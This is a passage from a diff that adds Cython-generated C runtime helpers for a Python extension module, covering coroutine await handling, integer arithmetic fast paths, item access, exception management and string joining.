an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* GetAttr */ + static CYTHON_INLINE PyObject *__Pyx_GetAttr(PyObject *o, PyObject *n) { +#if CYTHON_USE_TYPE_SLOTS +#if PY_MAJOR_VERSION >= 3 + if (likely(PyUnicode_Check(n))) +#else + if (likely(PyString_Check(n))) +#endif + return __Pyx_PyObject_GetAttrStr(o, n); +#endif + return PyObject_GetAttr(o, n); +} + +/* HasAttr */ + static CYTHON_INLINE int __Pyx_HasAttr(PyObject *o, PyObject *n) { + PyObject *r; + if (unlikely(!__Pyx_PyBaseString_Check(n))) { + PyErr_SetString(PyExc_TypeError, + "hasattr(): attribute name must be string"); + return -1; + } + r = __Pyx_GetAttr(o, n); + if (!r) { + PyErr_Clear(); + return 0; + } else { + Py_DECREF(r); + return 1; + } +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* RaiseTooManyValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { + PyErr_Format(PyExc_ValueError, + "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); +} + +/* RaiseNeedMoreValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { + PyErr_Format(PyExc_ValueError, + "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", + index, (index == 1) ? "" : "s"); +} + +/* IterFinish */ + static CYTHON_INLINE int __Pyx_IterFinish(void) { + PyObject* exc_type; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (unlikely(exc_type)) { + if (unlikely(!__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) + return -1; + __Pyx_PyErr_Clear(); + return 0; + } + return 0; +} + +/* UnpackItemEndCheck */ + static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { + if (unlikely(retval)) { + Py_DECREF(retval); + __Pyx_RaiseTooManyValuesError(expected); + return -1; + } + return __Pyx_IterFinish(); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double 